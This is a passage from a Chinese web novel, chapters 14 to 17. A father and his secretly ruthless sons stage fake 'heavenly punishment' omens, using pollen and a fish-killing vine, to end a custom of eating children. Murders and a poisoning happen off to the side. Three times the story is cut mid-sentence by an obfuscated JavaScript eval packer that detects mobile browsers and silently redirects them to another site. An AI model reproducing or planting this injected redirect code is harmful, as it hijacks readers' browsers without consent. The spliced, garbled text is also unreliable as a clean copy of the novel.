宋陆远极其稀罕地抚摸着一根粗壮的地狱藤,脸恨不得贴了上去。 这可是制作神兵利刃的好材料,能做很多他最爱的大宝剑。 “让他干,他有使不完的牛力。” 宋寒承递了一大碗水给宋陆远。 宋陆远一口喝完,“不过我得先去一趟村里,找陈村长给我做个木剑玩玩。” 他早就选好了一根地狱藤,已经迫不及待想看到它被做成大宝剑的样子了。 宋陆远对二人挥了手就走。 “等等。” 宋显赶忙去屋里取了钱袋,交到宋陆远手上。 “要是不够的话,就跟陈村长打个商量,我过两天补给他。” 宋陆远感受到钱袋沉甸甸的重量,有一瞬间怔愣。 这些钱都是宋显辛苦地一个一个捡蘑菇换来的。 要知道在宋显眼里,他并不是什么武林高手,只就是个好奇想学武的孩子罢了,做木剑也是玩的成分居多。 可他却一句话都不埋怨,还把辛苦赚来的所有钱都给了他,由他去玩儿。 “用不着。”宋陆远别扭地把钱推回去。 “臭小子,哪能让人白干活儿,当然要付钱啊。你是不是又想武力威胁陈村长?” 宋显眼盯着宋陆远,目光里是不带着任何杂念的纯粹,旨在诉说一个目的:做人要友善诚信。 宋陆远烦躁地抓了抓头。他晓得了,这钱他要是不拿,他的好爹爹应该又会给他来一次“促膝长谈”。 “行,那也用不了这么多。” 宋陆远只想拿十文钱出来,又被宋显拦住了。 “都拿着,还有木楔子的钱呢,一起结给陈村长。” “他敢收么。”宋陆远拿着钱袋,边走边嘀咕。 “你说什么?”宋显没听清。 “没什么。” “见了人要礼貌打招呼,离开时也要礼貌道别!” “知道了,真啰嗦。” 后半句话宋陆远很小声,仿佛是说给自己的听的。 宋显转过身,发现宋济民和宋寒承正并排坐在竹椅上。在他们对面也放了一把竹椅,俩人仿佛在等着他去坐。 宋显把刚杀好的山鸡端过来,坐在竹椅上,边用竹签子扎鸡边问兄弟二人,是不是有话要对他说。 “爹不是想破除蒸食幼子的恶习吗?我们来支持爹,跟爹一起想办法!” 宋济民热血地握拳,充满了干劲儿。 宋显愣了一下,抬头与宋济民刚好对视。 小儿子的样子很乖巧,洋溢热情的眼睛闪闪发亮,像一束无法隔绝的光,照进了他的心底。 那种熟悉的恶心感又涌上喉头,想吐—— 集市上被装在竹筐里被贩卖的孩子……实验室里被装在容器里被研究的婴儿……一个接着一个死亡……一次又一次宣告失败……“成功品”活下来了……半米长穿刺针泛着冷冷银光…… 每每想到童年那些不堪的经历,宋显都忍不住产生生理性呕吐。 “爹爹,你没事吧?” 宋济民白嫩的小手立刻扶住了宋显的胳膊,给他递帕子。 宋寒承跟着递来了一包酸梅,让宋显含一块试试,或许能压住恶心。 宋显把酸梅含在嘴里后,果然好了很多。 “可能是着凉了,胃有点恶心。” 宋寒承和宋济民齐齐点头,全都露出一副很相信宋显说法的表情。 宋显看俩儿子这样,想说什么,又不知道该怎么说,就埋首扎鸡。 “我想到了一个好办法破除恶习!”宋济民活泼跳起,主动提议,“我可以编个话本流传出去,让世人知道吃孩子会遭恶报,不仅不会长寿,还会惨死。” 宋显点点头:“是个好办法,但只靠口头宣扬的话震慑力微弱,解决不了根本问题。” 宋济民挺着小胸膛自信道:“放心吧,肯定能震慑住。” 因为还有后续步骤他没说出口。到时候,谁家敢杀幼子蒸食,他就让二哥杀谁,多杀几个,然后宣扬出去,自然就震慑住了那些无知愚民。 宋寒承觉得宋济民的办法震慑范围小,有不足之处确实很明显。 他也提议一个:“永州郡内,论身份地位最高的人是梁王,他年至四十才得了一名长孙。再有几日就是梁王长孙的百日宴,不妨在那时筹谋偷走梁王的长孙,留言说会蒸食其孙。梁王大怒,自会下政令整治此恶行。” “这办法也挺好!但太冒险了,咱们就是平头小老百姓,哪有办法偷走梁王的长孙?就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206660|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真成功偷到了,事后被发现,大家都得死。 不行不行,我绝不可能带着你们冒这种风险。咱们都是乖孩子哈,咱不干违法害人的事儿。” 宋寒承自然有信心可以把此事做到滴水不漏,但这话他也没办法说出口。 “陈风陋习最是难改,只能用激烈的法子才有效果。 难道爹爹有更好的办法,能不冒风险、不杀人就解决问题?” 真有这样的办法,他倒要跟这位爹好好学习一下了。 宋显神秘兮兮地点点头:“当然有,不过需要你们小小帮一下忙。” 宋寒承和宋陆远对视一眼,都在对方眼中看到了浓厚的兴味儿。 宋显招招手,示意俩儿子凑近:“明天我们这样这样……” 宋陆远扭着壮腰,乐呵呵地抱着他的大宝剑回来的时候,发现大哥和三弟正头碰头在嘀咕什么。 这俩人,一个心黑善算计,一个嘴滑善奸诈,凑在一起商量事儿,准没好事儿。 宋陆远放缓脚步,准备悄悄凑过去听—— “老二回来啦?开炸!” 灶台边,白歌看火,宋显将裹好麦粉的鸡肉丢进油锅里。 哗—— 锅里瞬间翻滚起油花,须臾间,炸鸡的香味儿就顺着升腾的白烟飘了出来,像夺人魂魄的妖精,霎时间就勾走了宋陆远的魂儿。 宋陆远哪里还会管大哥和三弟说什么,三两步跑到灶台闻香味去了。 “这就是油炸?好香!” “唉哟,这鸡腿,表面起泡了嘿,比金子都黄!” 宋显把第一锅炸好后,就喊孩子们都来吃。 “趁热吃才脆,等一会儿口感就没有现在好了,但小心别烫到了。” 宋寒承等四人拿起炸鸡后,都好奇地端详了两眼,才放进口中品尝。 咔嚓! 好脆! 外酥里嫩,油香满溢,是他们完全不曾体验过的口感。尤其这个酥皮,要命了啊,怎么会这么好吃! 四人围着陶盆席地而坐,恨不得吃鸡不吐骨头,全都沉浸在炸鸡香中,被炸鸡迷住了魂儿。 宋显随后把第二盆炸鸡送了过来。 四孩子中属宋寒承最有吃相,不过他吃得优雅,就免不了会吃得慢,肯定抢不过其他仨孩子。 宋显就单独给他留了两个鸡腿放碗里,找的理由也充分,不让其他仨孩子挑出毛病来。 “你们大哥得了成亭长器重,将会在衙门谋个账房的活儿,提前嘉奖他的。” 宋寒承文雅地坐着,他欣然接过鸡腿的时候,另一只手不忘按住袍角,以免暴露了他藏在袍下的六块炸鸡。 优雅,永不吃亏。 15.第 15 章 宋显做完炸鸡后,就用灶台的余火炒了两把麦子,煮了大麦茶给大家喝。 新炒制的麦子香味浓郁,直接煮水清香味儿极好,喝到嘴里刚好能化解炸鸡吃多了的油腻之感。 饭后,宋寒承带着宋济民去温泉那边洗漱。 宋陆远还在稀罕他的地狱藤大宝剑,高兴地在山坡上比划着。 宋显招呼宋陆远过来,跟他一起坐在草坡上。 “爹有事儿?” “你前天说要去码头当脚夫,可成了?” 宋陆远挠了挠头,才想起来,这是前天赶赴武林人约架时,在宋显跟前随便扯的一个谎言。 “啊,成了,成了。” “那你跟我讲讲码头的情况呗。河边有芦苇么,河里的鱼多不多,一天中都什么时候最热闹、人最多?” 宋陆远松了口气,幸亏他去过码头,知道那里的基本情况。他都一一如实地告知了宋显。 宋显点了点头,问宋陆远:“明早还去吗?” 宋陆远想起他明日与孙远约架了,正好可以趁机试试他的地狱藤大宝剑。 他马上跟宋显表态:“去啊,说好了我要努力赚钱,为爹爹买小毛驴出一份力。” 宋显欣慰地拍了拍宋陆远的肩膀。 “好孩子,真懂事。那明天我跟你一起去!” 宋陆远嘴角抽搐,万般后悔自己刚才嘴快,现在怎么办? “不对,我要先赶早集,等赶集完了,再去码头找到你。”宋显改口道。 “啊行,那我等阿爹。” 宋陆远开始在心里盘算时间,孙远人在长水县,距离码头很远,骑最快的马也要近两个时辰。 他堂堂江湖第一狂剑,如果约架后爽约,肯定会被笑话是怂包。可是君子重诺,不能出尔反尔,他答应爹爹的话,也必须做到。 宋陆远就追问宋显,明天大概什么时候到码头。 宋显想了下,“嗯,上午应该就能完事儿,肯定赶在中午前去找你。” 宋陆远马上起身,要去洗漱睡觉。 宋显疑惑:“不玩啦?刚才你大哥叫你一起去温泉,你不是说时间还早呢,不想那么早睡?” 宋陆远打了个哈欠,“突然就困了。” 宋陆远风风火火洗漱完,沾枕头就睡熟了,速度快到令人咋舌。 这睡眠质量可把宋显给羡慕坏了。 临睡前,宋显给宋济民梳了头发,顺便他聊了聊明早赶集的事儿。 等宋济民的头发彻底干了,父子俩这才熄灯睡觉。 …… 第二日,东方才刚刚泛起红霞,大地还处在半昏半暗的时候,八村交汇处的集市已经开始有人了。 摊贩们纷纷抢占好位置,只为了能让自己货物多卖几份,集市东边买卖幼童的区域也渐渐开始来人。 今日天好,多云多风,天气凉快又不晒,来售卖幼童的人家比往日要多上一些。 放眼望去,约有三四十名幼童待售。 一般官贵人家都不习惯早起,尤其是要花大钱买幼童的人家,多数都会在日上三竿的时候才回来。 但也有例外,一些口味比较挑剔的买主,会特意赶早来,比如要更白嫩或圆润一点的童男童女,又或者样貌更漂亮的。 呕—— 宋显见到此情此景,加之再听人介绍情况,那种恶心感又控制不住地涌上来。 宋济民垫起脚,想往宋显嘴里放了一颗酸梅,但够不到。 宋显微笑着蹲下,将酸梅咬在嘴里,温柔地跟宋济民道谢,揉了揉他的头。 “哎呦,这孩子漂亮啊,卖么?卖多少钱?” 郭洵见到宋济民后,就挪不开眼了,主动跑到宋显父子跟前询问。 他越看宋济民越觉得满意,真漂亮啊,眼睛扑闪扑闪的,皮肤白白嫩嫩的,跟年画里的娃娃似,个头长得也够大,足够他老父亲吃上几顿了。 “不卖。”宋显冷下脸来,把宋济民护在身后。 宋济民听到有人想买他,嘴角勾起,偏着头,仔细认真打量了一番这中年男人的模样,记在心里。 “哎呦,笑起来更好看了。这样,我出十万文,如何?” “十万文!天呐,这么高的价格,都够买一匹马了!”周围有百姓听到这话,忍不住惊叹起来了。 宋显忍住胃里的恶心,红着眼看向说话的人,居然是售卖幼童的百姓之一。 他本该是被剥削的可怜人,却成了剥削者的精神奴隶,不仅麻木不仁地把自己亲生骨血当货物一般售卖,甚至还觉得一个孩子的生命价值能如一匹马一样,是值得惊叹的荣幸之事。 愚蠢可憎又可恨! 宋显声音更冷,带着极具攻击性的凌厉:“不卖!我儿子已经八岁了。” “八岁?不早说!”中年男人不满地牢骚一句后,还是有点不舍地瞥一眼宋济民,这么漂亮的孩子他真喜欢,可惜了。 “来买我家的,只要五万文就行,不,三万文也行!” 刚刚发过言的幼童父亲,谄媚地跑出来拉拢中年男人去看他售卖的孩子。 “啧啧,太瘦,太黑,太丑了,别说三万文,五千我都不愿意出。” 宋显抱起宋济民就往东面高地走,“今天运气好,刮东风,风很大。” “嗯。”宋济民举起怀里的纸包,“老天爷保佑,让一切恶习随风吹散!” …… 长水县城。 孙远扛着大刀,一瘸一拐地从县城外回来,身边跟着一名搀扶他的小厮。 孙远气得口歪眼斜,嘴里不停地骂:“该死的第一狂剑,真有病!我是说今天比试,可他也不能三更天就把老子叫起来打吧!打完了,天还没亮呢!疯子!纯疯子!” 孙远骂完后,发现大街上有许多百姓三五成群地聚在一起,讨论今早八村集市上发生的诡异事件。 这倒勾起孙远的好奇心了,赶忙竖起耳朵凑过去听。 “太可怕了,事发时我就在场,有数百人呐,全都惊得说不出话来,浑身冒冷汗!” 孙远催促:“底怎么回事?快给我们细讲讲!” “就今天早上,集市刚开始聚人,大家不知道怎么全都晕厥了。再醒来后,你们猜怎么了?路中央显现鲜红的九个大字‘天谴:食稚者短寿必死’!” “真的假的?” 另一名百姓忙道:“当然是真的,我当时也在场,集市上那么多人,全都在一瞬间大脑空白,什么都不记得了,又几乎在同一时间苏醒,你说诡异不诡异?” “既然都晕了,那血字是怎么显现的?莫非真有天谴?” “那今天还有人敢在集市上买卖幼童吗?” “哪敢啊,别说买卖幼童了,那些只买卖货物的人都嫌忌讳,大家全都散了。” 孙远听完后,唏嘘感慨:“是挺诡异的,有趣,明日我们也赶集去!” 与此同时,平安码头上,有一场更诡异的事件即将在上演。 每天晌午,是码头货船聚集、客船停靠的时候,人流最多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224062|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上百名脚夫正挥汗如雨地扛着大包,在码头上来回奔走卸货。忽然,有人喊了一声“看水里”,大家才纷纷停下来去张望。 只见从码头的上游水面上飘下来很多木板,木板上面都写有醒目刺眼的红字:“天谴:食稚者短寿必死”。 “这是谁在装神弄鬼?少他娘的吓唬人!”有人大喊道。 这话音刚落,水里的鱼全都上浮,翻了肚皮。 密密麻麻的死鱼,有成千上万之数,居然在一瞬间全都死了,如浮萍一般漂浮在水面上。 喊话的人当场吓傻了,哆嗦着尿了裤子。 其他人见到这骇人的场面,也都惊得说不出话来了。有胆小的已经吓得脸色惨白,第一时间跑了,后续反应过来的人群都跟着跑。 一时间,本来千人聚集的热闹码头,瞬间空荡无人了,只剩下被抛弃的货物。 “成功了!” 躲在芦苇丛中的宋显,高兴地与宋济民、宋陆远击掌。 今天集市上和码头上发生的诡异天谴事件,应该很快就会传播到整个永州郡。 此举未必能全面制止住吃幼子的习俗,但肯定会起到不小的震慑作用,令人们心生忌惮,不敢尝试。 宋显:“这一招叫神权干预法,‘以彼之道,还施彼身’。” 宋济民竖起大拇指:“阿爹你就是我心中的大英雄!” 借这次事件,他也算是深刻领悟到了,以“神降旨意”来忽悠愚民的妙处!以后此招在经商上,大有可用。 宋陆远满脑子疑问:“集市上弄晕的招数我猜到了,用的白皮树花粉。水里那些鱼是怎么回事?咋一瞬间全死了?” “用的地狱藤。”宋显解释道,“地狱藤旺盛期的枝干煮水,可杀百虫,鱼也不例外。那些木板缝里被我们藏了许多地狱藤粉末,以粘土封堵,沾水即化。” 好聪明的手段!宋陆远佩服地五体投地。 他很庆幸自己及时赶到码头,帮忙搬了木板,助他们完美完成了这场颇具意义的谋划。 “阿爹,这事儿既然顺利办成了,咱们是不是该庆祝一下?”宋陆远现在最喜欢的就是“庆祝”,因为俩字代表着会有美食出现。 “还没完呢,恶习哪儿那么容易就根除。过几天大家渐渐忘了,就会死灰复燃。 所以,我们还得趁热再加把火,上演几次真正的‘食稚者遭天谴’。 ” 宋济民眼睛亮了,积极表示:“我人小不惹眼,我可以负责打听消息,整理出食稚者的名单。”然后让二哥把这些畜牲全杀了! 宋陆远也这么想,眼神里充满惩恶锄奸的兴奋感!老天保佑,他的大宝剑终于要饮血了! 宋显还不知道俩儿子都想偏了。 他从铁匠铺拿到了定制的锯子后,就去古树林里寻找那棵价值说明有引雷作用的神木。 “宋显!宋显!” 宋显正举着锯子在古树林里乱绕,忽然听到有人喊他名字,有点恍惚,环顾一圈没看到人。 方大山抱着受伤的胳膊,缓缓从一棵古树后走了出来。 “我等你很久了。” 方大山一边脸红肿,一边脸青紫,浑身灰土,形容十分狼狈。 “你找我?”宋显谨慎地退了两步,担心方大山是因为上次在城隍庙他揭发他的事儿,来找他报复。 “我不会伤害你,你多虑了。” 方大山虚弱地咳嗽两声,脱力地靠坐在大树旁。 “我是想告诉你,你被骗了,你根本就不是——” 16.第 16 章 方大山突然愣住,眼睛直直地盯着前方,身体一动不动了。 宋显还在好奇地等他后半句话,“怎么了?你没事吧?” 宋显伸手在方大山眼前晃了晃,发现他毫无反应。凑近细看,才发现方大山已经瞳孔涣散,人死了。 怎么会这样? “出什么事儿了?”宋寒承缓步从林中走了过来,他手提着一个竹篮子,篮子装着十几朵蘑菇。 “他,好像死了。” 又是古树林,又在他面前,又死人了。 宋显虽然是无神论者,但他现在真怀疑自己身上可能有点东西,总是会送人上西天。 他记得原身做上门女婿的第一天,就克死了被冲喜的妻子。 也就是说,在这短短不到一个月的时间里,他已经克死了四茬人了,割韭菜都没这么快。 古人大多都信奉命运神鬼之说,儿子们会不会觉得他晦气,总是克死人? “没关系,我先看看。” 宋寒承感受到宋显似乎有些情绪焦虑,先安慰了他一句,才放下竹篮,去检查方大山的尸体。 宋寒承佯装查看尸体头部时,顺手拔掉了方大山颈后侧的针,然后再看了看方大山身上其他几处伤,最后温柔地将手覆在了方大山死不瞑目的双眼上。 “内伤太重,应当是脾脏破裂而亡。” 宋寒承特意当着宋显的面,按了按方大山的腹部,看起来异常的软。 “这样啊,那就是别人给他打成重伤,致使他死亡的?”也就是说,跟他没关系了? 宋寒承点头,见宋显丝毫没有怀疑的意思,在心里暗暗松了口气。 宋显见大儿子没有关联玄学责怪他的意思,也在心里暗暗松了口气。 俩人随后商定,一起下山去通知村长陈昌贵。 “你来上山采蘑菇?” “嗯,但我好像不太会认,它们看起来都长的一样。”宋寒承将篮子递给宋显。 宋显瞅了瞅,篮子里十八朵蘑菇,只有一朵越骆菇能吃,其他的都是毒蘑菇。 “这些毒蘑菇有多毒?吃下会立刻死吗?”宋寒承好奇问。 宋显拨弄了两下,将毒蘑菇分成两份。 “这几朵毒性小些,吃了会呕吐腹泻。这几朵毒性大,这朵红的吃一点就致命;这朵蓝的先有幻觉,然后会呕吐心悸而亡;剩下这两朵,初期隐匿症状,什么都看不出来,之后才会毒发,多脏器同时衰竭,一旦入口,药石无医。” 这简直是天赐的杀人于无形的好毒物! 尤其是最后那两朵,用其下毒者不仅可以轻松摆脱罪责,还能巧妙地诬陷他人。 宋寒承眉梢轻轻上扬,将篮子拿回自己手中。 “那太危险了,我要好好辨认,都记清楚才行,以免日后采错了,害己害人。” 宋显不疑有他,笑着夸赞宋寒认真好学,不愧是做兄长的,有担当和责任感。 “好孩子,三兄弟中属你办事儿最让人放心。” 宋寒承笑了笑,谦逊接受赞美:“那我以后会继续努力。” 俩人到陈昌贵家中时,陈昌贵正指挥俩儿子把新购的木材搬到后院。 原来的木材在昨天全都被宋显买走了,今天陈昌贵当然要添点新货。 陈昌贵手捧着一碗莓果干泡水,美滋滋叹:“昨天那单生意做得不错,赚了。” “是吗。” 陈昌贵听到宋寒承的声音那一刻,脸上的笑容立刻收了。他马上放下碗,略弯下腰,礼貌笑迎宋显父子进屋。 “什么?方大山死了?” 陈昌贵还没来得及落座,就听到了这个噩耗,浑身发抖起来。 “怎、怎么死的?” 陈昌贵难掩眼底的惊恐,余光偷偷瞄向宋寒承。 宋寒承端坐在宋显旁边,敛眸喝着莓果干泡水,什么表情都没有。 宋显:“我遇到他的时候,他浑身是伤,像是被人打的,村长可知道是什么人打的他吗?” “李家人打的,他下药害了李大郎,李家没追究他,只叫他挨了一顿揍。可那些都只是皮外伤,致不了命。” “寒承查出他死于脾脏破裂,应该是被人殴打致死。”宋显解释道。 “那肯定是这孩子又在外面惹到了什么人,才挨了打,没了命。唉,自作孽不可活啊!” 陈昌贵痛心疾首地叹息。 宋显感觉陈昌贵对方大山的感情似乎不一般,那他应该比较了解方大山。 “他见我时,好像有很重要的话对我说,他说我被骗了,说我根本就不是——” “不是什么?”陈昌贵紧张地追问。 宋寒承放下了碗,抬起眸。 宋显摇摇头:“他没来得及说完,就突然咽气了。” 陈昌贵咂嘴,“这孩子也真是的,我不就是昨日贪心,骗你说那些木材是好料,多卖了你一倍的价钱嘛。这点小事儿有什么好说的?估计是他感觉到自己快不行了,瞧见了你,便‘人之将死,其言也善’了。” 宋显皱眉,觉得陈昌贵的解释很牵强,说不通。 只是因为木材价格的话,他讲不出这种句式:“你根本就不是——” 后半句到底是什么? “我猜他想说的是,你被骗了,你根本就不是宋家的冲喜赘婿,不是你克死了我们的娘亲。” 宋寒承突然出声,沉稳悦耳的嗓音像山涧流淌的溪水,莫名安抚了人心,让人信服。 宋显愣愣地看向宋寒承,等待他进一步解释。 “严格来讲,你上门的时候,我们的娘亲已经死了,你配的算是冥婚。 按习俗,配冥婚的话,我们要出更多钱,但当时我们已经没有更多的钱可以给你了,只能在这件事上对你撒了谎。” 宋寒承起身,对宋显礼貌行一礼。 “抱歉,瞒了爹这么久。” “哎呀这没什么好抱歉的。”宋显连忙扶起宋寒承,语气轻松下来,“我当什么事儿呢,比起我对你们做的,这不算什么。再说你们也出于孝顺嘛,能理解。” 那他现在不算克死四茬人了,就两茬。 呃,好像两茬也不少。 不管了,总比四茬少。 宋显还要去古树林找引雷木,就告辞先走了。 宋寒承借口有事,留在了陈昌贵家。 陈昌贵关上门后,立刻滑跪到宋寒承跟前赔罪。 “公子,我——” 宋寒承丢了一把钝刀到地上,“我提醒过你。” 方大山品性不行,残害同袍,早就该死。 陈昌贵嘴巴张了张,什么辩解的话都说不出来。 他本以为,他把重伤的方大山关起来就不会有事,万万没想到方大山竟然逃了。 他做错了决定,是该认罚。 陈昌贵默默捡起了地上的钝刀。 宋寒承看都没看陈昌贵,从竹篮里选了一朵蘑菇就走了。 …… 长水县,县衙。 成泽海这几天盼星星盼月亮,总算盼来了他当初在集市上偶遇的俊朗少年书生。 成泽海热情地引宋寒承到了账房,给他瞧县衙账房的环境。 “罗汉松,名家画,金算盘……这些都是给你准备的,只要你愿意留下,每月还有三千文的月钱,怎么样?愿意吗?” 宋显点头,表示乐意之至。 “哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230125|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”成泽海一点都不意外这个答案,他端起桌上的水杯,给宋显一个,自己拿一个。 “那我们就碰杯协定,就此说好了。” 成泽海与宋寒承互相碰杯了一下后,就把水送到嘴边,但他并没喝,只眼看着宋寒承喝,眼神里透着狠意。 这些该死的书生,真能装斯文、装清高,好像其他人都矮了他们一头一样! 宋寒承浅抿了一口后,笑问:“成亭长不喝吗?” “喝,当然喝。”成泽海仰头,一口饮尽。 “我一会儿有应酬,回头再找你细说账房这些活儿。” 成泽海这会儿再看宋寒承眼神变了,流露出十足的戏谑和轻蔑。 蛊水宋寒承已经自愿喝了,人就尽在他掌控之内了,他自然没必要伪装了。 回头有的是时间践踏折辱他,不差这一时半刻。 “岁安,你带宋账房先在衙门里转一转。” 小厮岁安点头应是,目送走成泽海后,岁安马上对宋寒承恭敬行礼,唤了声“公子”。 “牢里一共关了十五名被他迫害的书生,都被折磨的不成人样了。” 岁安想起那些书生的惨样,脸上就不落忍,咬着牙骂。 “就因为当年他喜欢的女子弃了他,转而选了书生成婚,他便憎恨书生到这种程度,迁怒世间所有书生,着实是病得不轻!” “公子这次算为民除害了,牢里那些书生都表示,获救后愿意效忠在公子门下。” 宋寒承淡淡“嗯”了一声,就要从后窗走。 “公子今夜不留下,看个热闹?” “不了,要回家吃晚饭,晚归的话老父亲会担心。” 岁安:“……”他幻听了!一定是幻听了! 当天夜里,大雨滂沱,电闪雷鸣。 雨停后,永州地界发生了两件大事,波折诡谲,骇人听闻。 第一件大事就是“降天谴,天雷劈坟,食稚者永不超生”。 昨夜,八村四县地界有许多家坟被雷劈了,全都刚刚好劈在坟头上。其中有两座坟里的棺材都被劈着火了,棺材板并着死者的尸骨全都烧成了灰,彻底落得个尸骨无存的下场。 早上雨停后,附近的百姓们目睹这些状况时,突然发现一个规律,所有被雷劈的坟的亡者,在生前都吃过“蒸幼子”。 大家随后进一步打探查实,越调查越确定属实,竟坟坟精准,无一错漏。 这个事实真相叫人越琢磨越后怕,尤其再结合之前集市码头两桩天谴事件,更叫人觉得恐怖诡谲,后脊发凉。 可怕,太可怕了! 从此,百姓们心中谨记天谴:食稚者寿短必死,死后必受天雷劈坟,永世不得超生。 第二件大事就是深受梁王器重的长水县亭长成泽海,深夜暴毙在了红袖楼,死因是吃了红袖楼的酒菜才中毒身亡。 成泽海的属下们立刻包围红袖楼,找红袖楼讨说法。红袖楼营业多年,第一次被迫关门停业。 双方闹得不可开交,最后甚至出了人命。 事情被捅到了永州郡郡守那里,郡守不敢做主,请梁王出山。 梁王忙于长孙的百日宴,无暇东顾,就请了公子煜来处理此事。 “公子煜是谁啊?” 宋显找到了一些野生竹蔗,熬出了糖,今晚打算给孩子们做红烧鱼吃。 前几日他埋在沙土里生的豆芽也不错,割下来清炒,为晚饭再添一菜。 “你不认识公子煜?”宋陆远帮忙清洗好豆芽,佯装不经意地问。 宋显不解:“我该认识吗?还别说,这名字听起来是有点——” 仨孩子同时看向他。 “好听!” 17.第 17 章 油锅加糖,炒出糖色,将煎得表皮焦黄的鱼入锅,翻面,使糖色均匀附着在鱼身上。为了卖相好看,宋显提前锅中撒了盐粒子,可以有效防止鱼皮粘锅。 最终出锅的红烧鱼,品相完整,色泽棕红油亮,撒上葱蒜点缀,红中带绿,香气扑鼻。 一口咬下去,馥郁的咸甜味儿冲击味蕾,勾出了鱼肉深层的鲜美,对于一直以来只吃盐调味的人来说是完全新奇的体验,太美味了,飘飘然仿若在游蓬莱仙境! 饭后,吃了个肚圆的宋陆远,边揉肚子边想。宋显哪怕是他最憎恶的那种恶人,在尝了他这手艺之后,他恐怕都下不了手杀他。 应该会他抓起来,关在铜墙铁壁铸造的厨房里,让他做一辈子饭赎罪。 宋显把蒸好的粟米均分放到几个陶罐内封好,抬眼瞧见宋陆远一直盯着他发呆。 “老二在想什么呢?” “在想把你关起来。”宋陆远脱口而出。 宋寒承正陪着宋济民划拳,白歌在削木剑,闻言后都看向宋陆远,眼里充满了对宋陆远的谴责。 宋陆远赶紧打了自己嘴巴一下,“我是说阿爹做饭太好吃了,好吃到我想把阿爹关起来,一辈子都只给我做饭吃。” 这不解释还好,解释之后好像更不好了? 宋显之前真没看出来,老二性格居然还有点偏执,这可不行。 他马上放下手里的活儿,搬着竹椅子到宋陆远跟前,再一次与他促膝长谈。 “家里孩子多,可能会有照顾不到你情绪的时候,但你要是不开心、有情绪,可以主动跟阿爹说。 你说实话,阿爹近来是不是忽视你了,对你关心不够?还是饭做少了,不够你吃?” 宋陆远挠了挠鼻子,“都没有。” “那你为什么会有这种想法?” “我开玩笑呢,真的!你们都别这么严肃,阿爹人这么好,我怎么可能做这种事!我是那种暴力的人吗?” 宋寒承和宋济民双双肯定地点头。 白歌的头,点得最剧烈。 “……”宋陆远气得要发疯,“总之我不会!我就是开玩笑!你们都不信我?” “信。”宋显马上安抚地拍拍宋陆远的肩膀,“阿爹相信你是一名刚正不阿、有是非观且特别孝顺的人,绝不会随便欺负老、弱、病、残。” 宋陆远:“……” 大可不必这样强调!他真不是! 算了,解释不清了,宋陆远干脆转移话题。 “阿爹这罐子里装蒸熟的粟米要做啥?” “窖藏,等他发霉,如果能出大曲,我们就可以酿醋了。到时候做菜的口味不止咸甜,还会多一味酸,你们就可以尝到糖醋鱼、醋溜肉段的味道。” 有点听不懂,但能品尝到更多滋味美食的话他听懂了,非常期待。 宋显盘算着:“等醋酿成功了,就跟糖一起拿出去卖,应该能换来不少钱。” 之前卖蘑菇和白皮树花粉挣来的那点钱,早就因为筹备“天谴”事件花得差不多了。 接下来还要改造温泉、圈地养鸡鸭、开荒种地、买种子、买毛驴……等等,都太需要花钱了,钱完全不够。 这酿醋还要看运气,运气好才能出大曲,不能单指望这个。 他得想个办法,再挣点快钱。 宋显把目光放在了草棚下堆积如山的地狱藤上。 这些都是天选除虫剂,不妨一试。 宋显得空,就去三户村附近的田里巡视了一圈。 “瞧瞧这些苗子,算是完了,人一口没吃上,全被虫子吃了,今秋怕是又会颗粒无收了。” 李春花扛着一捆猪笼草,跟同村的刘大娘讲话。 刘大娘也叹气,“早知费这么大力气种田,什么都得不到,还不如不种,直接去啃树皮呢。” “唉,谁说不是呢,今冬又难熬了。” “阿娘,回家吃饭啦。”十二三岁俏丽女孩儿跑到田头喊人。 刘大娘应了一声。 李春花笑夸:“瞧瞧,咱们英子出落得越发好看了,跟天上的仙女似的。” 徐英甜甜笑:“谢谢李婶儿夸奖。” “哎呦,还这么有礼貌。” “诶,宋叔也在?宋叔好呀。”徐英看见不远处的宋显,高兴地挥手跟他打招呼。 宋显愣了下,没想到这小姑娘认识自己,赶紧笑着挥手回应,随后走了过来。 李春花见到宋显后很热情,问候他吃没吃早饭,力邀他去她家里吃饭。 宋显笑着:“吃过了,我就是来看看田。” “这有啥好看的,得亏你聪明,一早把田买了,如今我也想卖,怕是没人买了。” 李春花掐下一截禾苗,看着上密密麻麻长满的白色小虫子,直犯恶心。偏巧她掐下的禾苗杆里,又爬出一只肉嘟嘟的虫子,她嫌恶地立马把禾苗丢了。 宋显却捡了起来细看:“是蚜虫和螟虫。” “哟,你还知道名字呢。” “能否送我几棵生虫的苗子?我想试试,或许我有办法能除虫。” “真的?真有办法能除虫?”徐英高兴地跳起来,拉住刘大娘,“阿娘,咱家的田有救了!” 